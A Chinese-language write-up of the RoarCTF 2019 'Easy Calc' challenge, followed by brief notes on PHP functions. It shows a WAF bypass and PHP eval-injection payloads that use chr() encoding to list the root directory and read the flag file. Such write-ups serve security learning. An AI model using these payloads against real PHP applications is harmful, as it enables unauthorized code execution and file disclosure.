[RoarCTF 2019] Easy Calc

打开题目后是一个计算的页面,通过尝试发现只能计算数字在这里插入图片描述
查看页面源码
[RoarCTF 2019] Easy Calc_第1张图片
根据框出的部分可以访问一下calc.php,得到隐藏信息
[RoarCTF 2019] Easy Calc_第2张图片
从代码中可以知道绕过waf之后会有一个eval执行函数
首先说一下对于waf的绕过,由于php在执行的时候会自动忽略掉空格字符,包含换行回车等,而waf不可以,所以可以构造一个payload为 ?num=var_dump(scandir(chr(47)))在这里插入图片描述

出现了f1agg文件
最后对它获取
print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))得到flag
在这里插入图片描述

知识点:
1、eval()执行函数
2、var_dump()和print_r()
print_r()只是简单的打印信息,可以把字符串和数字简单地打印出来,数组则以括起来的键和值得列表形式显示,并以Array开头
var_dump()可以判断一个变量的类型问与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型。此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构
3、Ajax回显
4、scandir()
scandir() 函数返回指定目录中的文件和目录的数组。
[RoarCTF 2019] Easy Calc_第3张图片
若成功则返回文件和目录的数组,失败则返回 FALSE。

你可能感兴趣的:([RoarCTF 2019] Easy Calc)